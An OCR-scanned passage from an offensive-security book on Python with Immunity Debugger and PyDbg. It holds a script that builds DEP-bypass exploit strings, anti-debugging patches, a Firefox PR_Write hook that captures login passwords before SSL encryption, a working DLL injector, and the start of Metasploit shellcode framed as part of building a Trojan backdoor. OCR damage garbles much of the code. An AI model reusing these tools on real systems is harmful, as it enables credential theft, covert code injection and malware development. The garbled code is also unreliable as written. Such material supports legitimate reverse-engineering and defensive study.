finding these addresses. It even creates the exploit string that you can copy
and paste into your exploit to use these offsets with no effort. Let’s take a
look at the findantidep.py script and then take it for a test drive.
findantidep.py
import immlib
import immutils
def tAddr(addr) :
buf = immutils. int2strB2_swapped(addr)
return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[o]) ,
ord(buf[l]), ord(buf[2]), ord(buf[3]) )
DESC="""Find address to bypass software DEP
def main(args) :
imm=immlib . Debugger( )
addylist = []
mod = imm.getModule("ntdll.dll")
if not mod:
return "Error: Ntdll.dll not found!"
# Finding the First ADDRESS
O ret = imm.searchCommands("MOV AL,l\nRET")
if not ret:
return "Error: Sorry, the first addy cannot be found"
for a in ret:
addylist. append( "0x%08x: %s" % (a[o], a [ 2 ] ) )
ret = imm.comboBox(" Please, choose the First Address [sets AL to l]",
addylist)
firstaddy = int(ret[o:lo], 16)
imm. Log("First Address: 0x%08x" % firstaddy, address = firstaddy)
# Finding the Second ADDRESS
© ret = imm.searchCommandsOnModule( mod.getBaseQ, "CMP AL,Oxl\n PUSH 0x2\n
POP ESI\n" )
if not ret:
return "Error: Sorry, the second addy cannot be found"
secondaddy = ret[o][o]
imm.Log( "Second Address %x" % secondaddy , address= secondaddy )
# Finding the Third ADDRESS
© ret = imm.inputBox("Insert the Asm code to search for")
Immunity Debugger — The Best of Both Worlds 79
ret = imm.searchCommands(ret)
if not ret:
return "Error: Sorry, the third address cannot be found"
addylist = []
for a in ret:
addylist. append( "0x%08x: %s" % (a[o], a [ 2 ] ) )
ret = imm.comboBox(" Please, choose the Third return Address [jumps to
shellcode]", addylist)
thirdaddy = int(ret[o:lo], 16)
imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )
imm.Log( 'stack = "%s\\xff\\xff\\xff\\xff%s\\xff\\xff\\xff\\xff" + "A" *
0x54 + "%s" + shellcode ' %\
( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) )
So we first search for commands that will set AL to 1 O and then give
the user the option of selecting from a list of addresses to use. We then
search ntdll.dll for the set of instructions that comprise die code that disables
DEP ©. The third step is to let the user enter the instruction or instructions
that will land the user back in the shellcode ©, and we let the user pick from
a list of addresses where those specific instructions can be found. The script
finishes up by outputting the results to the Log window ©. Take a look at
Figures 5-4 through 5-6 to see how this process progresses.
Please, choose the First Address [sets AL to 1]
^0K__J Cancel
Figure 5-4: First we pick an address that sets AL to 1.
Cancel
Figure 5-5: Then we enter a set of instructions
that will land us in our shellcode.
Please, choose the Third return Address [jumps to
X]
0xBf8a5e1 a: C:\WI N D 0 WS WoPatchWcG eraal. DLL
-
£K__J Cancel
Figure 5-6: Now we pick the address returned
from the second step.
And finally you should see output in the Log window, as shown here:
stack = "\x75\x24\x01\x01\xff\xff\xff\xff\x56\x31\x91\x7c\xff\xff\xff\xff" +
"A" * 0x54 + "\x75\x24\xOl\xOl" + shellcode
Now you can simply copy and paste that line of output into your exploit
and append your shellcode. Using this script can help you port existing
exploits so that they can run successfully against a target that has DEP enabled
or create new exploits that support it out of the box. This is a great example
of taking hours of manual searching and turning it into a 30-second exercise.
You can now see how some simple Python scripts can help you develop more
reliable and portable exploits in a fraction of the time. Let’s move on to using
immlib to bypass common anti-debugging routines in malware samples.
5.4 Defeating Anti-Debugging Routines in Malware
Current malware variants are becoming more and more devious in their
methods of infection, propagation, and their ability to defend themselves
from analysis. Aside from common code-obfuscation techniques, such as
using packers or encryption techniques, malware will commonly employ anti-
debugging routines in an attempt to prevent a malware analyst from using a
debugger to understand its behavior. Using Immunity Debugger and some
Python, we are able to create some simple scripts to help bypass some of
these anti-debugging routines to assist an analyst when observing a malware
sample. Let’s look at some of the more prevalent anti-debugging routines
and write some corresponding code to bypass them.
5.4. 1 IsDebuggerPresent
By far the most common anti-debugging technique is to use the IsDebugger-
Present function exported from kernel32.dll This function call takes no
parameters and returns 1 if there is a debugger attached to the current
process or 0 if there isn’t. If we disassemble this function, we see the following
assembly:
7C813093 >/$ 64:A1 18000000 MOV EAX, DWORD PTR FS : [ 18 ]
7C813099 |. 8B40 30 MOV E AX, DWORD PTR DS:[EAX+30]
7C81309C |. 0FB640 02 M0VZX E AX, BYTE PTR DS:[EAX+2]
7C8130A0 \. C3 RETN
Immunity Debugger — The Best of Both Worlds SI
Q ®
This code is loading the address of the Thread Information Block (TIB),
which is always located at offset 0x18 from the FS register. From there it
loads the Process Environment Block (PEB) , which is always located at
offset 0x30 in the TIB. The third instruction is setting EAX to the value of
the BeingDebugged member in the PEB, which is at offset 0x2 in the PEB.
If there is a debugger attached to the process, this byte will be set to Oxi. A
simple bypass for this was posted by Damian Gomez 6 of Immunity, and this is
one line of Python that can be contained in a PyCommand or executed from
the Python shell in Immunity Debugger:
imm.writeMemory( imm.getPEBaddressQ + 0x2, "\x00" )
This code simply zeros out the BeingDebugged flag in the PEB, and now
any malware that uses this check will be tricked into thinking there isn’t a
debugger attached.
5.4.2 Defeating Process Iteration
Malware will also attempt to iterate through all the running processes on
the machine to determine if a debugger is running. For instance, if you
are using Immunity Debugger against a virus, ImmunityDebugger.exe will be
registered as a running process. To iterate through the running processes,
malware will use the Process 32 First function to get the first registered
function in the system process list and then use Process32Next to begin
iterating through all of the processes. Both of these function calls return a
boolean flag, which tells the caller whether the function succeeded or not,
so we can simply patch these two functions so that the EAX register is set to
zero when the function returns. We’ll use the powerful assembler built into
Immunity Debugger to achieve this. Take a look at the following code:
O process32first = imm.getAddress("kernel32. Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")
functionJList = [ process32first, process32next ]
© patch_bytes = imm. Assemble ( "SUB EAX, EAXXnRET" )
for address in function_list:
opcode = imm.disasmForward( address, nlines = 10 )
imm.writeMemory( opcode. address, patch_bytes )
We first find the addresses of the two process iteration functions and store
them in a list so we can iterate over them O. Then we assemble some opcode
bytes that will set the EAX register to 0 and then return from the function call;
this will form our patch ©. Next we disassemble 10 instructions © into the
Process 32 First/Next functions. We do this because some advanced malware
will actually check the first few bytes of these functions to make sure wily
6 The original forum post is located at http://forum,immunityinc,com/index,php?topic=71.0.
82 Chapter 5
reverse engineers such as ourselves haven’t modified the head of the function.
We will trick them by patching 10 instructions deep; if they integrity check
the whole function they will find us, but this will do for now. Then we simply
patch in our assembled bytes into the functions ©, and now both of these
functions will return false no matter how they are called.
We have covered two examples of how you can use Python and
Immunity Debugger to create automated ways of preventing malware from
detecting that there is a debugger attached. There are many more anti-
debugging techniques that a malware variant may employ, so there is a never-
ending list of Python scripts to be written to defeat them! Go forth with your
newfound Immunity Debugger knowledge, and enjoy reaping the benefits
with shorter exploit development time and a new arsenal of tools to use
against malware.
Now let’s move on to some hooking techniques that you can use in your
reversing endeavors.
Immunity Debugger — The Best of Both Worlds 83
HOOKING
Hooking is a powerful process-observation technique
that is used to change the flow of a process in order to
monitor or alter data that is being accessed. Hooking is
what enables rootkits to hide themselves, keyloggers to
steal keystrokes, and debuggers to debug! A reverse engineer can save many
hours of manual debugging by implementing simple hooks to automatically
glean the information he is seeking. It is an incredibly simple yet very powerful
technique.
On the Windows platform, a myriad of methods are used to implement
hooks. We will be focusing on two primary techniques that I call “soft” and
“hard” hooking. A soft hook is one where you are attached to the target process
and implement INT3 breakpoint handlers to intercept execution flow. This
may already sound like familiar territory for you; that’s because you essentially
wrote your own hook in “Extending Breakpoint Handlers” on page 58. A
hard hook is one where you are hard-coding a jump in the target’s assembly to
get the hook code, also written in assembly, to run. Soft hooks are useful for
nonintensive or infrequently called functions. However, in order to hook
frequently called routines and to have the least amount of impact on the
process, you must use hard hooks. Prime candidates for a hard hook are
heap-management routines or intensive file I/O operations.
We will be using previously covered tools in order to apply both hooking
techniques. We’ll start with using PyDbg to do some soft hooking in order to
sniff encrypted network traffic, and then we’ll move into hard hooking with
Immunity Debugger to do some high-performance heap instrumentation.
6.1 Soft Hooking with PyDbg
The first example we will explore involves sniffing encrypted traffic at the
application layer. Normally to understand how a client or server application
interacts with the network, we would use a traffic analyzer like Wireshark. 1
Unfortunately, Wireshark is limited in that it can only see the data post
encryption, which obfuscates the true nature of the protocol we are studying.
Using a soft hooking technique, we can trap the data before it is encrypted
and trap it again after it has been received and decrypted.
Our target application will be the popular open-source web browser
Mozilla Firefox. 2 For this exercise we are going to pretend that Firefox is
closed source (otherwise it wouldn’t be much fun now, would it?) and that it
is our job to sniff data out of the firefox.exe process before it is encrypted and
sent to a server. The most common form of encryption that Firefox performs
is Secure Sockets Layer (SSL) encryption, so we’ll choose that as the main
target for our exercise.
In order to track down the call or calls that are responsible for passing
around the unencrypted data, you can use the technique for logging inter-
modular calls as described at http:/ /forum, immunity inc. com/ index. php ?lopic=35. 0.
There is no “right” spot to place your hook; it is reallyjust a matter of pref-
erence. Just so that we are on the same page, we’ll assume that the hook
point is on the function PRJJrite, which is exported from nspr4.dll. When this
function is hit, there is a pointer to an ASCII character array located at [ ESP
+ 8 ] that contains the data we are submitting before it has been encrypted.
That +8 offset from ESP tells us that it is the second parameter passed to the
PR_Write function that we are interested in. It is here that we will trap the
ASCII data, log it, and continue the process.
First let’s verify that we can actually see the data we are interested in. Open
the Firefox web browser, and navigate to one of my favorite sites, https://www
.openrce.org/. Once you have accepted the site’s SSL certificate and the page
has loaded, attach Immunity Debugger to the firefox.exe process and set a break-
point on nspr4. PR_Write. In the top-right corner of the OpenRCE website is a
login form; set a username to test and a password to test and click the
Login button. The breakpoint you set should be hit almost immediately;
keep pressing F9 and you’ll continually see the breakpoint being hit.
1 See http://wimv.wireshark.org/.
2 For the Firefox download, go to http://www.mozilla.com/en-US/.
86 Chapter 6
Eventually, you will see a string pointer on the stack that dereferences to
something like this:
[ESP + 8] => ASCII "username=test&password=test&reiTieiriber_me=on
Sweet! We can see the username and password quite clearly, but if you
were to watch this transaction take place from a network level, all of the data
would be unintelligible because of the strong SSL encryption. This technique
will work for more than the OpenRCE site; for example, to give yourself a
good scare, browse to a more sensitive site and see how easy it is to observe
the unencrypted information flow to the server. Now let’s automate this pro-
cess so that we can just capture the pertinent information and not have to
manually control the debugger.
To define a soft hook with PyDbg, you first define a hook container that
will hold all of your hook objects. To initialize the container, use this
command:
hooks = utils. hook_container()
To define a hook and add it to the container, you use the add() method
from the hook_container class to add your hook points. The function prototype
looks like this:
add( pydbg, address, num_arguments, func_entry_hook, func_exit_hook )
The first parameter is simply a valid pydbg object, the address parameter
is the address on which you would like to install the hook, and num_arguments
tells the hook function how many parameters the target function takes. The
func_entry_hook and func_exit_hook functions are callback functions that
define the code that will run when the hook is hit (entry) and immediately
after the hooked function is finished (exit) . The entry hooks are useful to see
what parameters get passed to a function, whereas the exit hooks are useful
for trapping function return values.
Your entry hook callback function must have a prototype like this:
def entry_hook( dbg, args ):
# Hook code here
return DBG CONTINUE
The dbg parameter is the valid pydbg object that was used to set the hook.
The args parameter is a zero-based list of the parameters that were trapped
when the hook was hit.
Hooking
87
The prototype of an exit hook callback function is slightly different in
that it also has a ret parameter, which is the return value of the function (the
value of EAX) :
def exit_hook( dbg, args, ret ):
# Hook code here
return DBG CONTINUE
To illustrate how to use an entry hook callback to sniff pre-encrypted
traffic, open up a new Python file, name it firefox_hook.py, and punch out the
following code.
firefoxhook.py
from pydbg import *
from pydbg. defines import *
import utils
import sys
dbg = pydbg ()
found_firefox = False
# Let's set a global pattern that we can make the hook
# search for
pattern = "password"
# This is our entry hook callback function
# the argument we are interested in is args[l]
def ssl_sniff( dbg, args ):
# Now we read out the memory pointed to by the second argument
# it is stored as an ASCII string, so we'll loop on a read until
# we reach a NULL byte
buffer = " "
offset = 0
while l:
byte = dbg.read_process_memory( args[l] + offset, 1 )
if byte != "\x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
88 Chapter 6
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate_processes() :
if name.lowerQ == "firefox.exe":
found_firefox = True
hooks = utils. hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# Resolve the function address
hook_address = dbg .f unc_resolve_debuggee ( " nspr4 . dll" , " PR_Write" )
if hook_address:
# Add the hook to the container. We aren't interested
# in using an exit callback, so we set it to None,
hooks. add( dbg, hook_address, 2, ssl_sniff. None )
print "[*] nspr4. PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-l)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg. run ()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-l)
The code is fairly straightforward: It sets a hook on PR_Write, and when
the hook gets hit, we attempt to read out an ASCII string pointed to by the
second parameter. If it matches our search pattern, we output it to the
console. Start up a fresh instance of Firefox and run jirejox_ hook.py fro i n the
command line. Retrace your steps and do the login submission on https://
iuiuiu.openrce.org/, and you should see output similar to that in Listing 6-1.
[*] Attaching to firefox.exe with PID: 1344
[*] nspr4. PR_Write hooked at: 0x60la2760
[*] Hooks set, continuing process.
Pre- Encrypted : username=test&password=test&remember_me=on
Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=jms&password=yeahright !&remember_me=on
Listing 6- 1 : How cool is that! We can clearly see the username and password before they
are encrypted.
Hooking
89
We have just demonstrated how soft hooks are both lightweight and
powerful. This technique can be applied to all kinds of debugging or reversing
scenarios. This particular scenario was well suited for the soft hooking tech-
nique, but if we were to apply it to a more performance-bound function call,
very quickly we would see the process slow to a crawl and begin to exhibit
wacky behavior and possibly even crash. This is simply because the INT3
instruction causes handlers to be called, which then lead to our own hook
code being executed and control being returned. That’s a lot of work if this
needs to happen thousands of times per second! Let’s see how we can work
around this limitation by applying a hard hook to instrument low-level heap
routines. Onward!
6.2 Hard Hooking with Immunity Debugger
Now we get to the interesting stuff, the hard hooking technique. This tech-
nique is more advanced, but it also has far less impact on the target process
because our hook code is written directly in x86 assembly. With the case of
the soft hook, there are many events (and many more instructions) that occur
between the time the breakpoint is hit, the hook code gets executed, and the
process resumes execution. With a hard hook you are really just extending a
particular piece of code to run your hook and then return to the normal
execution path. The nice thing is that when you use a hard hook, the target
process never actually halts, unlike the soft hook.
Immunity Debugger reduces the complicated process of setting up a
hard hook by exposing a simple object called a FastLogHook. The FastLogHook
object automatically sets up the assembly stub, which logs the values you want
and overwrites the original instruction that you wish to hook with a jump to
the stub. When you are constructing fast log hooks, you first define a hook
point, and then you define the data points you wish to log. A skeleton defini-
tion of setting up a hook goes like this:
imm = immlib. Debugger ()
fast = immlib. FastLogHook( imm )
fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement( register, offset )
The logFunctionQ method is required to set up the hook, as it gives it
the primary address of where to overwrite the original instructions with a
jump to our hook code. Its parameters are the address to hook and the
number of arguments to trap. If you are logging at the head of a function,
and you want to trap the function’s parameters, then you most likely want to
set the number of arguments. If you are aiming to hook the exit point of a
function, then you are most likely going to set num_arguments to zero. The
90 Chapter 6
methods that do the actual logging are logRegisterQ, logBaseDisplacementQ,
and logDirectMemoryQ. The three logging functions have the following
prototypes:
logRegister( register )
logBaseDisplacement( register, offset )
logDirectMemory( address )
The logRegisterQ method tracks the value of a specific register when the
hook is hit. This is useful for capturing the return value as stored in EAX after
a function call. The logBaseDisplacementQ method takes both a register and
an offset; it is designed to dereference parameters from the stack or to capture
data at a known offset from a register. The last call is logDirectMemoryQ, which
is used to log a known memory offset at hook time.
When the hooks are hit and the logging functions are triggered, they
store the captured information in an allocated region of memory that the
FastLogHook object creates. In order to retrieve the results of your hook, you
must query this page using the wrapper function getAllLogQ, which parses
the memory and returns a Python list in the following form:
[( hook_address, ( argl, arg2, argN )), ... ]
So each time a hooked function gets hit, its address is stored in
hook_address, and all the information you requested is contained in tuple
form in the second entry. The final important note is that there is an addi-
tional flavor of FastLogHook, STDCALLFastLogHook, which is adjusted for the
STDCALL calling convention. For the cdecl convention use the normal
FastLogHook. The usage of the two, however, is the same.
An excellent example of harnessing the power of the hard hook is the
hippie PyCommand, which was authored by one of the world’s leading experts
on heap overflows, Nicolas Waisman of Immunity, Inc. In Nico’s own words:
Hippie came out as a response for the need of a high-performance
logging hook that can really handle the amount of calls that the
Win32 API heap functions require. Take as an example Notepad; if
you open a file dialog on it, it requires around 4,500 calls to either
RtlAllocateHeap or RtlFreeHeap. If you're targeting Internet Explorer,
which is a much more heap-intensive process, you’ll see an increase
in the number of heap-related function calls of 10 times or more.
As Nico said, we can use hippie as an example of how to instrument heap
routines that are critical to understand when writing heap-based exploits. For
brevity’s sake, we’ll walk through only the core hooking portions of hippie and
in the process create a simpler version called hippie_easy.py.
Before we begin, it’s important to understand the RtlAllocateHeap and
RtlFreeHeap function prototypes, so that our hook points make sense.
Hooking
91
BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN PVOID HeapBase
PVOID RtlAllocateHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN SIZE T Size
);
So for RtlFreeHeap we are going to trap all three arguments, and for
RtlAllocateHeap we are going to take the three arguments plus the pointer
that is returned. The returned pointer points to the new heap block that was
just created. Now that we have an understanding of the hook points, open
up a new Python file, name it hippie _easy.py, and hit up the following code.
hippieeasy.py
import immlib
import immutils
# This is Nico's function that looks for the correct
# basic block that has our desired ret instruction
# this is used to find the proper hook point for RtlAllocateHeap
O def getRet(imm, allocaddr, max_opcodes = BOO):
addr = allocaddr
for a in range(o, max_opcodes) :
op = imm.disasmForward( addr )
if op.isRetQ :
if op.getlmmConstQ == OxC:
op = imm.disasmBackward( addr, 3 )
return op.getAddressQ
addr = op.getAddressQ
return 0x0
# A simple wrapper to just print out the hook
# results in a friendly manner, it simply checks the hook
# address against the stored addresses for RtlAllocateHeap, RtlFreeHeap
def showresult(imm, a, rtlallocate) :
if a[o] == rtlallocate:
imm.Log( "RtlAllocateHeap(Ox%08x, 0x%08x, 0x%08x) <- 0x%08x %s" %
(a [l] [0] , a [ 1 ] [l] , a[l] [2] , a[l][3], extra), address = a[l][3] )
return "done"
else:
imm.Log( "RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)" % (a [l] [0] , a [ l] [ l] ,
a[l][ 2 ]) )
def main(args) :
92 Chapter 6
imm
Name
= immlib.Debugger()
= "hippie"
fast = imm.getKnowledge( Name )
© if fast:
# We have previously set hooks, so we must want
# to print the results
hookJList = fast.getAllLog()
rtlallocate, rtlfree = imm.getKnowledge("FuncNames")
for a in hookJList:
ret = showresult( imm, a, rtlallocate )
return "Logged: %d hook hits." % len (hookJList)
# We want to stop the debugger before monkeying around
imm.PauseQ
rtlfree = imm.getAddress("ntdll.RtlFreeHeap")
rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")
module = imm.getModule("ntdll.dll")
if not module. isAnalysedQ :
imm.analyseCode( module. getCodebaseQ )
# We search for the correct function exit point
rtlallocate = getRet( imm, rtlallocate, 1000 )
imm. Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate)
# Store the hook points
imm.addKnowledge( "FuncNames", ( rtlallocate, rtlfree ) )
# Now we start building the hook
fast = immlib.STDCALLFastLogHook( imm )
# We are trapping RtlAllocateHeap at the end of the function
imm. Log ("Logging on Alloc 0x%08x" % rtlallocate)
© fast.logFunction( rtlallocate )
fast.logBaseDisplacement( "EBP", 8 )
fast.logBaseDisplacement( "EBP", OxC )
fast.logBaseDisplacement( "EBP", 0x10 )
fast.logRegister( "EAX" )
# We are trapping RtlFreeFleap at the head of the function
imm. Log ("Logging on RtlFreeHeap 0x%08x" % rtlfree)
fast.logFunction( rtlfree, 3 )
# Set the hook
fast.HookQ
# Store the hook object so we can retrieve results later
imm.addKnowledge(Name, fast, force_add = l)
return "Hooks set, press F9 to continue the process."
Hooking
93
Before we fire up this bad boy, let’s have a look at the code. The first
function you see defined O is a custom piece of code that Nico built in order
to find the proper spot to hook for RtlAllocateHeap. To illustrate, disassemble
RtlAllocateHeap, and the last few instructions you see are these:
0X7C9106D7 F605 F002FE7F
0X7C9106DE OF85 1FB20200
0x7C9106E4 8BC6
0X7C9106E6 E8 17E7FFFF
0X7C9106EB C2 0C00
TEST BYTE PTR DS: [7FFE02F0 ] ,2
BNZ ntdll.7C93B90B
MOV EAX, ESI
CALL ntdll. 7C90EE02
RETN OC
So the Python code starts disassembling at the head of the function until
it finds the RET instruction at 0x7C9l06EB and then checks to make sure it uses
the constant OxOC. It then disassembles backward three instructions, which
lands us at OX7C9106D7. This little dance we do is merely to make sure that we
have enough room to write out our 5-byte BMP instruction. If we tried to set
our BMP (5 bytes) right on the RET (3 bytes), we would be overwriting two extra
bytes, which would corrupt the code alignment, and the process would immi-
nently crash. Get used to writing these little utility functions to help you get
around these types of roadblocks. Binaries are complicated beasts, and they
have zero tolerance for error when you mess with their code.
The next bit of code © is a simple check as to whether we already have the
hooks set; this just means we are requesting the results. We simply retrieve the
necessary objects from the knowledge base and print out the results of our
hooks. The script is designed so that you run it once to set the hooks and
then run it again and again to monitor the results. If you want to create custom
queries on any of the objects stored in the knowledge base, you can access
them from the debugger’s Python shell.
The last piece © is the construction of the hook and monitoring points.
For the RtlAllocateHeap call, we are trapping three arguments from the stack
and the return value from the function call. For RtlFreeHeap we are taking three
arguments from the stack when the function first gets hit. In less than 100
lines of code we have employed an extremely powerful hooking technique —
and without using a compiler or any additional tools. Very cool stuff.
Let’s use notepad.exe and see if Nico was accurate about the 4,500 calls
when you open a file dialog. Start C:\WINDOWS\System32\notepad.exe under
Immunity Debugger and run the !hippie_easy PyCommand in the command
bar (if you’re lost at this point, reread Chapter 5). Resume the process, and
then in Notepad choose File ► Open.
Nowit’s time to check our results. Rerun the PyCommand, and you
should see output in the Log window of Immunity Debugger (alt-L) that
looks like Listing 6-2.
94 Chapter 6
RtlFreeHeap(0x000a0000,
RtlFreeHeap(oxC>ooaoooo,
RtlFreeHeap(oxC>ooaoooo,
RtlFreeHeap(OxOOlaOOOO,
RtlFreeHeap (0x00030000,
RtlFreeHeap (oxoooaoooo.
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
oxooocaobo)
oxoooca 058 )
0x000ca020)
OxOOla3ae8)
0x00037798)
OxOOOc9fe8)
Listing 6-2: Output from the !hippie_easy PyCommand
Excellent! We have some results, and if you look at the status bar on
Immunity Debugger, it will report the number of hits. Mine reports 4,675
on my test run, so Nico was right. You can rerun the script anytime you
wish to see the hits change and the count increase. The cool thing is that
we instrumented thousands of calls without any process performance
degradation!
Hooking is something that you’ll undoubtedly use countless times
throughout your reversing endeavors. We not only have demonstrated how
to apply some powerful hooking techniques, but we also have automated
them. Now that you know how to effectively observe execution points via
hooking, it’s time to learn how to manipulate the processes we are studying.
We perform this manipulation in the form of DLL and code injection. Let’s
learn how to mess up a process, shall we?
Hooking
95
DLL AND CODE INJECTION
At times when you are reversing or attacking a target,
it is useful for you to be able to load code into a
remote process and have it execute within that pro-
cess’s context. Whether you’re stealing password
hashes or gaining remote desktop control of a target
system, DLL and code injection have powerful applications. We will create
some simple utilities in Python that will enable you to harness both tech-
niques so that you can easily implement them at will. These techniques
should be part of every developer, exploit writer, shellcoder, and penetra-
tion tester’s arsenal. We will use DLL injection to launch a pop-up window
within another process, and we’ll use code injection to test a piece of shell-
code designed to kill a process based on its PID. Our final exercise will be
to create and compile a Trojan backdoor entirely coded in Python. It relies
heavily on code injection and uses some other sneaky tactics that every good
backdoor should use. Let’s begin by covering remote thread creation, the
foundation for both injection techniques.
7.1 Remote Thread Creation
There are some primary differences between DLL injection and code
injection; however, they are both achieved in the same manner: remote
thread creation. The Win32 API comes preloaded with a function to do just
that, CreateRemoteThreadQ, 1 which is exported from kernel32.dll. It has the
following prototype:
HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE IpStartAddress,
LPVOID IpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadld
);
Don’t be intimidated; there are a lot of parameters in there, but they’re
fairly intuitive. The first parameter, hProcess, should look familiar; it’s a handle
to the process in which we are starting the thread. The lpThreadAttributes
parameter simply sets the security descriptor for the newly created thread, and
it dictates whether the thread handle can be inherited by child processes. We
will set this value to NULL, which will give it a noninheritable thread handle
and a default security descriptor. The dwStackSize parameter simply sets the
stack size of the newly created thread. We will set this to zero, which gives it the
default size that the process is already using. The next parameter is the most
important one: IpStartAddress, which indicates where in memory the thread
will begin executing. It is imperative that we properly set this address so
that the code necessary to facilitate the injection gets executed. The next
parameter, IpParameter, is nearly as important as the start address. It allows you
to provide a pointer to a memory location that you control, which gets passed
in as a function parameter to the function that lives at IpStartAddress. This may
sound confusing at first, but you will see very soon how this parameter is crucial
to performing a DLL injection. The dwCreationFlags parameter dictates how
the thread will be started. We will always set this to zero, which means that the
thread will execute immediately after it is created. Feel free to explore the
MSDN documentation for other values that dwCreationFlags supports. The
lpThreadld is the last parameter, and it is populated with the thread ID of the
newly created thread.
Now that you understand the primary function call responsible for
making the injection happen, we will explore how to use it to pop a DLL
into a remote process and follow it up with some raw shellcode injection.
The procedure to get the remote thread created, and ultimately run our
code, is slightly different for each case, so we will cover it twice to illustrate
the differences.
1 See MSDN CreateRemoteThread Function ( http://msdn.microsoft.com/en-us/librari/ms682437
.aspx).
98 Chapter 7
7. 1. 1 DLL Injection
DLL injection has been used for both good and evil for quite some time. Every-
where you look you will see DLL injection occurring. From fancy Windows
shell extensions that give you a glittering pony for a mouse cursor to a piece
of malware stealing your banking information, DLL injection is everywhere.
Even security products inject DLLs to monitor processes for malicious
behavior. The nice thing about DLL injection is that we can write a compiled
binary, load it into a process, and have it execute as part of the process. This
is extremely useful, for instance, to evade software firewalls that let only
certain applications make outbound connections. We are going to explore
this a bit by writing a Python DLL injector that will enable us to pop a DLL
into any process we choose.
In order for a Windows process to load DLLs into memory, the DLLs
must use the Load Library () function that’s exported from kemel32.dll Let’s
take a quick look at the function prototype:
HMODULE LoadLibrary(
LPCTSTR lpFileName
);
The lpFileName parameter is simply the path to the DLL you wish to load.
We need to get the remote process to call LoadLibraryA with a pointer to a
string value that is the path to the DLL we wish to load. The first step is to
resolve the address where LoadLibraryA lives and then write out the name
of the DLL we wish to load. When we call CreateRemoteThreadQ, we will point
IpStartAddress to the address where LoadLibraryA is, and we will set IpParameter
to point to the DLL path that we have stored. When CreateRemoteThread()
fires, it will call LoadLibraryA as if the remote process had made the request
to load the DLL itself.
NOTE The DLL to test injection for is in the source folder for this book, which you can down-
load at http:/ /www.nostarch.com/ghpython.htm. The source for the DLL is also
in the main directory.
Let’s get down to the code. Open a new Python file, name it dll_injector.py,
and hammer out the following code.
dllinjector.py
import sys
from ctypes import *
PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( OxOOOFOOOO | 0x00100000 | OxFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = sys.argv[l]
dll_path = sys.argv[2]
DLL and Code Injection
99
dll_len = len(dll_path)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(o)
O # Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM,
PAGE_READWRITE)
© # Write the DLL path into the allocated space
written = c_int(o)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,
byref (written))
© # We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
© # Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parameter
thread_id = c_ulong(o)
if not kernel32.CreateRemoteThread(h_process,
None,
0 ,
h_loadlib,
arg_address,
0 ,
byref (thread_id)) :
print "[*] Failed to inject the DLL. Exiting."
sys.exit(o)
print "[*] Remote thread with ID 0x%08x created." % thread_id. value
The first step O is to allocate enough memory to store the path to the DLL
we are injecting and then write out the path to the newly allocated memory
space ©. Next we have to resolve the memory address where LoadLibraryA
lives ©, so that we can point the subsequent CreateRemoteThreadQ call © to its
memory location. Once that thread fires, the DLL should get loaded into
the process, and you should see a pop-up dialog that indicates the DLL has
entered the process. Use the script like so:
,/dll_injector <PID> <Path to DLL>
1 00 Chapter 7
We now have a solid working example of how useful DLL injection can
be. Even though a pop-up dialog is slightly anticlimactic, it’s important to
understand the technique. Now let’s cover code injection!
7 . 1.2 Code Injection
Let’s move on to something slightly more insidious. Code injection enables
us to insert raw shellcode into a running process and have it immediately
executed in memory without leaving a trace on disk. This is also what allows
attackers to migrate their shell connection from one process to another,
post-exploitation.
We are going to take a simple piece of shellcode that simply terminates a
process based on its PID. This will enable you to move into a remote process
and kill the process you were originally executing in to help cover your tracks.
This will be a key feature of the final Trojan we will create. We will also show
how you can safely substitute pieces of the shellcode so that you can make it
slightly more modular to suit your needs.
To obtain the process-killing shellcode, we are going to visit the Metasploit
project home page and use their handy shellcode generator. If you haven’t
used it before, head to http://metasploit.com/shellcode / and take it for a spin. In
this case I used the Windows Execute Command shellcode generator, which
created the shellcode shown in Listing 7-1. The pertinent settings are also
shown:
/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */
unsigned char scode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\xl8\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
